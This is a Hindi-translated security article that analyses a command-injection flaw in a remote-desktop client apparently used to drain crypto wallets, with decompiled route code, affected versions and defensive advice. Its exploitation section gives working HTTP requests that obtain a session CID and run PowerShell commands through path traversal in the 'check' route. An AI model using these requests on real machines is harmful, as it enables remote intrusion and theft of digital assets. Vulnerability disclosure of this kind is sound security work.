paint-brush
क्रिप्टो ओपसेक: आपके बटुए को निकालने के लिए दूरस्थ डेस्कटॉप सॉफ़्टवेयर का उपयोग कैसे किया जा सकता हैद्वारा@numencyber
586 रीडिंग
586 रीडिंग

क्रिप्टो ओपसेक: आपके बटुए को निकालने के लिए दूरस्थ डेस्कटॉप सॉफ़्टवेयर का उपयोग कैसे किया जा सकता है

द्वारा Numen Cyber8m2023/04/18
Read on Terminal Reader

बहुत लंबा; पढ़ने के लिए

हाल ही में, कई वेब3 क्रिप्टोक्यूरेंसी धारकों ने रिमोट कंट्रोल सॉफ़्टवेयर का उपयोग करते हुए अपनी डिजिटल संपत्ति खोने की सूचना दी है। हैकर से जुड़ा वॉलेट पता 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf है। पिछले साल, एक रिमोट कंट्रोल सॉफ़्टवेयर से जुड़ी एक घटना हुई थी, जिसकी ग्राहक पहचान जानकारी के लीक होने के कारण सेवा विस्फोट का अनुभव हुआ था।
featured image - क्रिप्टो ओपसेक: आपके बटुए को निकालने के लिए दूरस्थ डेस्कटॉप सॉफ़्टवेयर का उपयोग कैसे किया जा सकता है
Numen Cyber HackerNoon profile picture

हाल ही में, कई वेब3 क्रिप्टोक्यूरेंसी धारकों ने रिमोट कंट्रोल सॉफ़्टवेयर का उपयोग करते हुए अपनी डिजिटल संपत्ति खोने की सूचना दी है।

हैकर से जुड़ा वॉलेट पता 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf है।

पिछले साल, एक रिमोट कंट्रोल सॉफ़्टवेयर से जुड़ी एक घटना हुई थी, जिसमें क्लाइंट आइडेंटिफ़िकेशन इंफॉर्मेशन (CID) और कमांड इंजेक्शन भेद्यता (CNVD-2022–10270/CNVD-2022–03672) के लीक होने के कारण सर्विस विस्फोट का अनुभव हुआ था।


जब भी सॉफ़्टवेयर लॉन्च किया जाता है, तो यह HTTP सेवा के रूप में स्वचालित रूप से 40000 से अधिक का एक यादृच्छिक पोर्ट नंबर खोलता है। इस घटना में कि पैरामीटर cmd मान पिंग या nslookup के साथ / चेक रूट में शुरू होता है, किसी भी कमांड को निष्पादित किया जा सकता है।


इसने हमलावर को C2 एजेंट भेजने की अनुमति दी, जिससे वे लंबे समय तक पीड़ित के सिस्टम की निगरानी कर सके।

प्रभावित संस्करण

विंडोज़ के लिए व्यक्तिगत संस्करण <= 11.0.0.33162

सरल संस्करण <= V1.0.1.43315

विश्लेषण

आइए एक नजर डालते हैं login.cgi पर

 v5 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v5; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, "login.cgi", 9ui64); v6 = sub_140E2D6BC(v5, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v6; if ( v6 ) { v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v8) = 1; sub_1400EEDC0(v51, v8, 0i64); v56 = &v57; v9 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v9; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v10; if ( v10 ) { v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v12) = 1; sub_1400EEDC0(v51, v12, 0i64); v56 = &v57; v13 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v13; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 = &off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v14; if ( v14 ) { v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); }


सीजीआई-बिन/आरपीसी पर नेविगेट करें

निम्नलिखित मार्ग प्राप्त करें

 v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if ( (unsigned int)sub_140101DB0(v116, "login") && strcmp(v61, "express_login") && strcmp(v61, "cgi-bin/login.cgi") && strcmp(v61, "log") && strcmp(v61, "cgi-bin/rpc") && strcmp(v61, "transfer") && strcmp(v61, "cloudconfig") && strcmp(v61, "getfastcode") && strcmp(v61, "assist") && strcmp(v61, "cloudconfig") && strcmp(v61, "projection") && strcmp(v61, "getaddress") && strcmp(v61, "sunlogin-tools") ) ... sub_1400F05E0(v116); goto LABEL_168; } } if ( !(unsigned int)sub_140101DB0(v116, "login") || !(unsigned int)sub_140101DB0(v116, "control") || !strcmp(v61, "express_login") || !strcmp(v61, "cgi-bin/login.cgi") || !strcmp(v61, "cgi-bin/rpc") || !strcmp(v61, "desktop.list") || !strcmp(v61, "cloudconfig") || !strcmp(v61, "check") || !strcmp(v61, "transfer") || !strcmp(v61, "getfastcode") || !strcmp(v61, "assist") || !strcmp(v61, "micro-live/enable") || !strcmp(v61, "projection") || !strcmp(v61, "getaddress") ) { v103 = *(_QWORD *)(a1 + 8);

ऑनलाइन प्रकट की गई भेद्यता जानकारी के अनुसार, cgi-bin/rpc मार्ग से पहला प्रमाणीकरण CID प्राप्त करके, क्रिया पैरामीटर की जांच करके कार्य को अलग करना संभव है।

जब क्रिया पैरामीटर को सत्यापित-हार्स पर सेट किया जाता है, तो फ़ंक्शन एक सत्यापन_स्ट्रिंग लौटाता है।

 if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) { sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); LOBYTE(v22) = 1; v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), v125, v22); sub_1400EEE40(Src, v23, 0i64, -1i64); sub_1400F05E0(v125); sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); v73 = 1; CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); }

यदि क्रिया पैरामीटर लॉगिन-प्रकार पर सेट है, तो फ़ंक्शन पीड़ित के डिवाइस के बारे में जानकारी लौटाता है।

 if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) { sub_1405ACBA0(v93); v16 = "0"; if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) ... memset(Buffer, 0, sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if ( Buffer[0] ) { do ++v6; while ( Buffer[v6] ); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 = 1; CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); }

उपरोक्त के अलावा, दो अन्य पैरामीटर हैं: फास्ट-लॉगिन और बाइंड-अनुरोध।

चेक रूट की जांच करके, एक हमलावर पिंग या nslookup का उपयोग करके दुर्भावनापूर्ण आदेश बना सकता है, जिससे उन्हें दूरस्थ कमांड निष्पादन प्राप्त करने की अनुमति मिलती है।

गेटएड्रेस रूट एक्स्ट्रानेट पर एक निश्चित पोर्ट पर मैप किए गए https सेवा पते की पुनर्प्राप्ति को सक्षम बनाता है। इस पते को वेब एसेट सर्च इंजन द्वारा आसानी से क्रॉल किया जा सकता है या हमलावरों द्वारा स्कैन किया जा सकता है, जिससे इंट्रानेट से परे हमले की सतह का विस्तार होता है।

शोषण प्रक्रिया

प्रत्येक स्टार्टअप पर, आरपीसी इंटरफ़ेस बेतरतीब ढंग से 40,000 से अधिक पोर्ट संख्या का चयन करता है।

प्रारंभिक चरण प्रभावित उपयोगकर्ता/इकाई की सीआईडी प्राप्त करना है।

 GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

बाद में, हमलावर प्रमाणीकरण कुकी में एक CID जोड़ सकता है, जो इस तरह दिखता है: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS। इससे वे पीड़ित के कंप्यूटर पर किसी भी कमांड को निष्पादित कर सकते हैं।

 GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

 /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig 

पीड़ित की सिस्टम फाइलों तक पहुंचें और देखें।

सारांश

जैसे-जैसे वेब 3 इन्फ्रास्ट्रक्चर का विकास जारी है, डिजिटल संपत्ति का उच्च मूल्य और वेब 3 इन्फ्रास्ट्रक्चर की अदृश्यता इसे हैकर्स के लिए एक आकर्षक लक्ष्य बनाती है। वे पारंपरिक नेटवर्क सुरक्षा से वेब 3 पारिस्थितिकी तंत्र के भीतर डेटा चोरी करने के लिए स्थानांतरित हो गए हैं, जिसमें उपयोगकर्ताओं की डिजिटल संपत्ति चोरी करना भी शामिल है।

कई हैकर्स अब 0-दिन/1-दिन के हमलों का उपयोग लक्ष्य सुविधाओं जैसे सर्वर, व्यक्तिगत होस्ट, वॉलेट ऐप और मोबाइल क्लाइंट में घुसपैठ करने के लिए करते हैं। उनका अंतिम लक्ष्य उपयोगकर्ताओं की डिजिटल संपत्ति को चुराना है।


इस तरह के हमलों से बचाव के लिए, उपयोगकर्ताओं को सलाह दी जाती है कि वे अपने सिस्टम को अपडेट और पैच करें, अज्ञात स्रोतों से लिंक पर क्लिक करने से बचें, और अपनी चाबियों को अलग सिस्टम में स्टोर करें।


वेब3 परिदृश्य के लगातार विस्तार के साथ, परियोजनाओं के लिए यह अनिवार्य है कि वे अपने उपयोगकर्ताओं की संपत्ति की सुरक्षा को प्राथमिकता दें और उद्योग की सर्वोत्तम प्रथाओं को अपनाएं, जैसे कि व्यापक ऑडिट और भविष्य में होने वाले समान हमलों की संभावना को कम करने के लिए कमजोरियों के लिए नियमित रूप से स्कैन करना।


हमारी सेवाओं के बारे में यहाँ और पढ़ें।